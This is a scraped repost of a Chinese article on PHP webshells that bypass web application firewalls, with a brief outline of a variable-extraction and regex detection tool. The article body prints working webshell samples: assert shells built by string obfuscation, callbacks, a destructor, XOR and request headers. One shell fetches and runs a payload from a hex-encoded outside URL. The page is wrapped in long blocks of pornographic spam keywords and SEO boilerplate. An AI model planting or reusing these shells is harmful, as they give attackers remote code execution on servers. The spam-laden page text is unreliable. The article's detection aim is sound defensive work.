成人性生交大片免费看视频r_亚洲综合极品香蕉久久网_在线视频免费观看一区_亚洲精品亚洲人成人网在线播放_国产精品毛片av_久久久久国产精品www_亚洲国产一区二区三区在线播_日韩一区二区三区四区区区_亚洲精品国产无套在线观_国产免费www

主頁(yè) > 知識(shí)庫(kù) > PHP常見(jiàn)過(guò)waf webshell以及最簡(jiǎn)單的檢測(cè)方法

PHP常見(jiàn)過(guò)waf webshell以及最簡(jiǎn)單的檢測(cè)方法

熱門(mén)標(biāo)簽:百度地圖怎樣標(biāo)注圖標(biāo) 廣東廣州在怎么申請(qǐng)400電話(huà) 400電話(huà)蘭州申請(qǐng)請(qǐng) 電銷(xiāo)機(jī)器人問(wèn)門(mén)薩維品牌my 外呼系統(tǒng)能給企業(yè)帶來(lái)哪些好處 咸寧銷(xiāo)售電銷(xiāo)機(jī)器人系統(tǒng) 開(kāi)發(fā)地圖標(biāo)注類(lèi)網(wǎng)站 余姚電話(huà)機(jī)器人 百度地圖標(biāo)注偏差

前言

之前在Webshell查殺的新思路中留了一個(gè)坑 ️,當(dāng)時(shí)沒(méi)有找到具體找到全部變量的方法,后來(lái)通過(guò)學(xué)習(xí)找到了個(gè)打印全部量的方法,并再次學(xué)習(xí)了下PHP webshell繞過(guò)WAF的方法,以此來(lái)驗(yàn)證下此方法是否合理。

如有錯(cuò)誤,還請(qǐng)指出,不勝感激! :turtle:拜

在那篇文章中我突然想到一種檢測(cè)webshell的方法,就是首先獲取到當(dāng)前文件中的所有變量(不明白的可以先去看下之前的文章),然后再根據(jù)正則庫(kù)進(jìn)行靜態(tài)檢測(cè)。

自認(rèn)為這種方法雖然會(huì)檢測(cè)不完全(每個(gè)檢測(cè)機(jī)制都不能保障全部有效),但是感覺(jué)非常簡(jiǎn)單、實(shí)用,也沒(méi)那么多高深的道理。

為了驗(yàn)證該檢測(cè)機(jī)制,首先了解下目前PHP webshell繞過(guò)WAF的方法。

常見(jiàn)繞過(guò)WAF的PHP webshell

字符串變形

大小寫(xiě)、編碼、截取、替換、特殊字符拼接、null、回車(chē)、換行、特殊字符串干擾

?php
$a = base64_decode("YXNzYXNz+00000____");
$a = substr_replace($a,"ert",3);
$a($_POST['x']);
?>

ucwords()
ucfirst()
trim()
substr_replace()
substr()
strtr()
strtoupper()
strtolower()
strtok()
str_rot13()
chr()
gzcompress()、gzdeflate()、gzencode()
gzuncompress()、gzinflate()、gzdecode()
base64_encode()
base64_decode()
pack()
unpack()

自寫(xiě)函數(shù)

利用 assert()

?php 
function test($a){
  $a($_POST['x']);
}
test(assert);
?>

回調(diào)函數(shù)

?php 
call_user_func(assert,array($_POST[x]));
?>

call_user_func_array()
array_filter() 
array_walk() 
array_map()
registregister_shutdown_function()
register_tick_function()
filter_var() 
filter_var_array() 
uasort() 
uksort() 
array_reduce()
array_walk() 
array_walk_recursive()
forward_static_call_array()

類(lèi)

利用魔術(shù)方法、析構(gòu)函數(shù) __destruct() , __construct()

?php 
class test
{
 public $a = '';
 function __destruct(){
  assert("$this->a");
 }
}
$b = new test;
$b->a = $_POST['x'];
?>

利用外部文件

利用 curl , fsockopen 等發(fā)起網(wǎng)絡(luò)請(qǐng)求再結(jié)合 file_get_contents

?php
error_reporting(0);
session_start();
header("Content-type:text/html;charset=utf-8");if(empty($_SESSION['api']))
$_SESSION['api']=substr(file_get_contents(sprintf('%s?%s',pack("H*",
'687474703a2f2f7777772e77326e31636b2e636f6d2f7368656c6c2f312e6a7067'),uniqid())),3649);
@preg_replace("~(.*)~ies",gzuncompress($_SESSION['api']),null);
?>

無(wú)字符特征馬

編碼、異或、自增

?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$__;
$_($___[_]); // assert($_POST[_]);
?>

特殊請(qǐng)求頭

利用 getallheaders()

?php
$cai=getallheaders()['cai'];
$dao=getallheaders()['dao'];
if($cai!="" and $dao!=""){
 $cai=gzuncompress(base64_decode($cai));$cai(gzuncompress(base64_decode($dao)));
}
header('HTTP/1.1 404 Not Found');
?>

全局變量

利用 getenv() , arrag_flip() , get_defined_vars() , session_id()

import requests
url = 'http://localhost/?code=eval(hex2bin(session_id(session_start())));'
payload = "phpinfo();".encode('hex')
cookies = {
 'PHPSESSID':payload
}
r = requests.get(url=url,cookies=cookies)
print r.content

PHP混淆加解密

以phpjiami為例

就是將函數(shù)名、變量名全部變成”亂碼”,且改動(dòng)任意一個(gè)地方,都將導(dǎo)致文件不能運(yùn)行。具體可訪(fǎng)問(wèn): https://www.phpjiami.com/

PHP webshell檢測(cè)方法

目前我所了解的webshell檢測(cè)方式有:

  1. 機(jī)器學(xué)習(xí)檢測(cè)webshell:比如混淆度、最長(zhǎng)單詞、重合指數(shù)、特征、壓縮比等
  2. 動(dòng)態(tài)檢測(cè)(沙箱)
  3. 基于流量模式檢測(cè)webshell:agent
  4. 逆向算法+靜態(tài)匹配檢測(cè)webshell:比如D盾webshell查殺
  5. 根據(jù)文件入度出度來(lái)檢測(cè)

實(shí)例展示

這里以PHPjiami的webshell為例,其中 2.php 即為phpjiama的木馬

可以明顯看到明顯的webshell規(guī)則了,這樣再用靜態(tài)規(guī)則、正則等即可輕松檢測(cè)到。

簡(jiǎn)單檢測(cè)思路

檢測(cè)思路:

文件上傳->文件包含->獲取所有文件中的變量到臨時(shí)文件中->靜態(tài)規(guī)則匹配臨時(shí)文件->返回匹配結(jié)果

├── __init__.py
├── conf
│   ├── __init__.py
│   ├── config.py
├── core
│   ├── __init__.py
│   ├── all_check.py
│   ├── data_mysql.py
│   └── file_inotify.py
├── lib
│   ├── __init__.py
│   └── semantic_analysis_api.py
├── test
│   ├── __init__.py
│   ├── file_md5_move.py
│   ├── os_check.py
│   ├── random_file_test.py
│   └── ...
├── web
│   ├── static
│   │   ├── css
│   │   │   ├── main.css
│   │   ├── images
│   │   │   └── background.jpg
│   │   └── js
│   │       └── upload.js
│   ├── templates
│   │   ├── index.html
│   ├── upload_file.php
│   └── include_file_to_tmp.php
├── webshell_check.py

conf中包含的是諸如下列的靜態(tài)檢測(cè)規(guī)則

總結(jié)

以上就是這篇文章的全部?jī)?nèi)容了,希望本文的內(nèi)容對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,謝謝大家對(duì)腳本之家的支持。

您可能感興趣的文章:
  • PHP實(shí)現(xiàn)webshell掃描文件木馬的方法
  • 一個(gè)ASP.Net下的WebShell實(shí)例
  • php木馬webshell掃描器代碼
  • 精確查找PHP WEBSHELL木馬 修正版
  • 精確查找PHP WEBSHELL木馬的方法(1)
  • Webshell基礎(chǔ)知識(shí)深入講解

標(biāo)簽:銅陵 重慶 巴彥淖爾 麗江 鷹潭 臨沂 衡陽(yáng) 十堰

巨人網(wǎng)絡(luò)通訊聲明:本文標(biāo)題《PHP常見(jiàn)過(guò)waf webshell以及最簡(jiǎn)單的檢測(cè)方法》,本文關(guān)鍵詞  PHP,常見(jiàn)過(guò),常,見(jiàn)過(guò),waf,webshell,;如發(fā)現(xiàn)本文內(nèi)容存在版權(quán)問(wèn)題,煩請(qǐng)?zhí)峁┫嚓P(guān)信息告之我們,我們將及時(shí)溝通與處理。本站內(nèi)容系統(tǒng)采集于網(wǎng)絡(luò),涉及言論、版權(quán)與本站無(wú)關(guān)。
  • 相關(guān)文章
  • 下面列出與本文章《PHP常見(jiàn)過(guò)waf webshell以及最簡(jiǎn)單的檢測(cè)方法》相關(guān)的同類(lèi)信息!
  • 本頁(yè)收集關(guān)于PHP常見(jiàn)過(guò)waf webshell以及最簡(jiǎn)單的檢測(cè)方法的相關(guān)信息資訊供網(wǎng)民參考!
  • 推薦文章
    亚洲AV无码久久精品国产一区| 日本亚洲最大的色成网站www| 国产91亚洲精品| 99精品在线播放| 国产99久久久国产精品免费看| 最近中文字幕mv第三季歌词| 91成人入口| 欧美富婆性猛交| 中文字幕在线免费看线人| 一级片aaaa| 91福利资源站| 中文字幕+乱码+中文乱码91| 高清免费成人av| 久久夜色精品国产噜噜av| 国产精品99精品无码视| 国产99久久久精品| 魔女鞋交玉足榨精调教| 亚洲人成在线观看一区二区| 国产精品一区二区三区在线观| 亚洲视频1区| 性感美女一区二区三区| 日本免费黄网站| 麻豆国产精品视频| 国产福利一区二区三区视频| 国产高清自拍一区| 国产日产欧美一区二区三区| eeuss在线播放| 日韩乱码人妻无码中文字幕久久| 亚洲美女视频在线观看| 国产又爽又黄无码无遮挡在线观看| 日韩少妇内射免费播放18禁裸乳| 国产一级在线观看视频| 日韩高清不卡一区二区| 欧美影院天天5g天天爽| 午夜在线精品| 亚洲日本成人女熟在线观看| 中文字幕人妻熟女人妻洋洋| 青青草精品在线| 日本a在线天堂| 囯产精品一品二区三区| 成人免费毛片xxx| 日韩在线无毛| 精品亚洲精品| 亚洲精品国偷拍自产在线观看蜜桃| 在线观看免费高清视频| 午夜精品久久99蜜桃的功能介绍| 色七七影院综合| 色资源网在线观看| 日韩制服丝袜先锋影音| 91国内视频| 丰满人妻妇伦又伦精品国产| 亚洲香蕉在线视频| 一级毛片免费观看| 黄色录像a级片| 色婷婷av一区二区三| 免费一级片在线观看| 久久伊人久久| 青草av.久久免费一区| 99er在线视频| 国产人成亚洲第一网站在线播放| 成人video亚洲精品| 波多野结衣一区二区三区四区| 91网址在线观看| 欧美人与禽猛交乱配视频| 国产精品久久亚洲不卡| 亚洲免费看av| 久久久精品人妻一区二区三区| 欧美日韩福利电影| 国产三级精品三级在线观看| 深夜福利网站在线观看| 亚洲精品国产精品乱码| 久久精品国产精品国产精品污| 日韩欧美精品| 欧美性资源免费| 成人黄色免费观看| 国产精品久久久久久久久粉嫩av| 国产成人精品免费视频大全最热| 亚洲精品乱码久久久久久不卡| 亚洲天堂影视av| 欧美国产精品劲爆| 日本福利视频| 欧美色精品在线视频| 欧美不卡一区二区| 午夜久久久久| 精品一区二区三区免费视频| 国产真人做爰视频免费| 一区二区三区中文字幕精品精品| 中文字幕日韩欧美精品高清在线| 5566日本婷婷色中文字幕97| 欧美1区二区三区公司| 国产sm调教视频| 精品国产第一国产综合精品| 亚洲视频欧美在线| 337p亚洲精品色噜噜噜| 亚洲精品视频免费| 亚洲男人影院| 宅男深夜国产| 亚洲一区中文字幕在线观看| 精品视频一区二区三区在线观看| 四虎影视4hu4虎成人| av在线播放av| 成人免费区一区二区三区| 在线免费观看电影网站入口| 欧美大片网站在线观看| 美女视频一区免费观看| 在线免费观看成年人视频| 国产毛片av在线| va亚洲va日韩不卡在线观看| 综合色天天鬼久久鬼色| 中文视频在线| 污片在线免费看| 国新精品乱码一区二区三区18| 99热精品在线| 国产精品对白一区二区三区| 亚洲国产一区在线| 激情综合五月天| 成人网页在线免费观看| 黄网页在线观看| 中文在线有码| 在线成人亚洲| 99成人超碰| 日韩av大片在线观看| 一区二区免费在线| 成人免费视频caoporn| 亚洲国产精品久久91精品| 成人网18免费软件大全| 亚洲永久免费网站| 亚洲激情在线观看| 免费在线看v| 狂野欧美激情性xxxx欧美| 加勒比在线一区二区三区观看| 醉酒壮男gay强迫野外xx| 久久99精品国产麻豆婷婷| 西野翔中文久久精品国产| 日韩在线视频网| 啊啊啊啊啊啊啊视频在线播放| 5566中文字幕| 精品蜜桃在线看| 欧美精选在线播放| 亚洲网站在线观看| 国产精品乱码一区二三区小蝌蚪| 内射中出日韩无国产剧情| 91美女主播在线视频| 在线播放国产一区中文字幕剧情欧美| 希岛爱理av一区二区三区| 巨胸大乳www视频免费观看| 污视频网站免费观看| 激情五月综合色婷婷一区二区| 亚洲成人五区| 中文资源在线官网| 日日噜噜噜噜人人爽亚洲精品| 国产夫妻视频| 久久网免费视频| 日本女人高潮视频| 亚洲成人18| 久久99精品久久久久久三级| 国产美女激情视频| 亚洲精品国自产拍在线观看| www久久久com| 国产成人精品视频免费| 国产97在线播放| 午夜精品aaa| 久久久伊人日本| 尤物视频免费观看| 亚洲影视在线观看| 亚洲视频图片小说| 亚洲情侣在线| 91手机在线观看| 午夜av电影一区| 国产性猛交xxxx免费看久久| 青青草国产在线| 日本电影在线观看网站| 糖心vlog精品一区二区| 日韩午夜三级在线| 手机看片国产日韩| 91免费版在线看| 午夜精品中文字幕| www.国产一区二区| 色www亚洲国产阿娇yao| 久久精品99| 国产成人91久久精品| 成人亚洲免费视频| 欧美videossex极品| 亚洲午夜免费福利视频| 丰满的亚洲女人毛茸茸| 红桃视频在线观看一区二区| 久草在线中文888| 日日夜夜精品视频| 一级黄色片国产| 小说区亚洲自拍另类图片专区| 国产成人精品久久二区二区91| 久久久www成人免费无遮挡大片| 亚洲一卡二卡三卡四卡无卡网站在线看| 美女露胸视频在线观看| 亚洲乱码一区二区三区三上悠亚| 国产精品影视天天线| 免费一二一二在线视频| 99久久精品国产一区二区小说| 麻豆传媒在线观看| 亚洲高清视频免费观看| 欧美一级片在线播放| 波多野结衣片子| 欧美精品视频www在线观看| 日本一二三区在线视频| 国产精品久久久久久亚洲影视| 国产精品一区毛片| 国产午夜在线视频| 亚洲精品乱码久久久久久| 绯色av一区| 中文字幕在线免费不卡| 亚洲аv电影天堂网| 日韩伦理片在线观看| 亚洲欧美国产高清va在线播| 一级黄色特级片| 精品国偷自产在线视频| 国产精品美女av| 岳乳丰满一区二区三区| 欧美日韩精品欧美日韩精品一综合| 成人av动漫在线观看| 91免费看`日韩一区二区| 日本精品国产| 日本影音先锋电影| 欧美 日韩 亚洲 一区| 日韩精品极品在线观看播放免费视频| 国产高清不卡一区| 黄色网在线看| 综合色天天鬼久久鬼色| 成人午夜av影视| 欧美极品另类| 国产成人av毛片| 国产成人精品免费在线| 麻豆网站在线观看| 久久99久久精品欧美| 久久免费成人精品视频| 综合蜜桃精品| 狂野欧美激情性xxxx欧美| 成人av资源在线| 美女av免费在线观看| 日本一区二区三区视频在线播放| 亚洲精品国产a久久久久久| 久久久久亚洲精品成人网小说| 国产成人精品999在线观看| www五月天com| 搡老女人一区二区三区视频tv| 黄色一级免费视频| 国产精品无码电影| 亚洲欧美韩国| 伊人资源视频在线| 亚洲精品66| 亚洲 欧美 激情 小说 另类| 十八禁视频网站在线观看| 欧美欧美欧美欧美| 中文字幕av高清片| 精品国产一区二区三区在线| 在线小视频你懂的| 在线观看国产中文字幕| av一区二区三区黑人| 一道本一区二区三区| 北条麻妃在线观看| 18深夜在线观看免费视频| 久久精品亚洲乱码伦伦中文| 国产一区网站| 一区二区三区日本| 国产美女在线一区| 国产精品灌醉下药二区| 日本国产欧美一区二区三区| 国产美女高潮在线观看| 亚洲视频 欧美视频| 日韩精品免费一区二区在线观看| 国产人妻人伦精品| 91麻豆产精品久久久久久夏晴子| 轻轻草在线视频| 国产亚洲一区在线| 国产在线视频你懂得| 美女黄色免费看| 一区二区三区四区在线观看视频| 欧美曰成人黄网| 日韩成人动漫在线观看| 中文字幕在线不卡一区二区三区| 亚洲综合图片区| 欧美高清视频在线观看| 免费福利视频一区二区三区| 久久免费精品国产久精品久久久久| 国产精品igao视频网网址不卡日韩| 亚洲欧美www| 亚洲精品影院| 欧美日韩免费一区二区三区| 欧美深性狂猛ⅹxxx深喉| 91视频在线免费观看| 69xxxx视频| 黄色成人在线观看| 亚洲女人初尝黑人巨大| 一区二区欧美精品| 国产无精乱码一区二区三区| 影音先锋一区二区资源站| 电影一区中文字幕| 免费在线中文字幕| 欧美三级黄美女| 老司机精品福利视频| 亚洲天堂男人的天堂| 天堂中文av在线| 国产又黄又粗又硬| 三级小说一区| 国产性猛交xxxx免费看久久| 亚洲品质自拍视频网站| 好吊色欧美一区二区三区| 欧洲av一区二区嗯嗯嗯啊| 日韩av自拍偷拍| 成人午夜免费影院| 99久久夜色精品国产网站| 亚洲欧美日韩综合aⅴ视频| 精品国产精品自拍| 日韩av片在线看| 亚洲国产综合自拍| 国产成人无码av在线播放dvd| 在线观看成人免费视频| 欧美视频日韩视频| 99re6热只有精品免费观看| 午夜精品福利一区二区| 中国女人精69xxxxxx视频| 欧美精品一区二区三区免费播放| 亚洲精品日韩在线| 久久久久久久久久久电影| 国产成人在线免费看| 中文字幕一区视频| 亚洲欧美视频在线| 成人av色在线观看| 中文字幕日韩免费|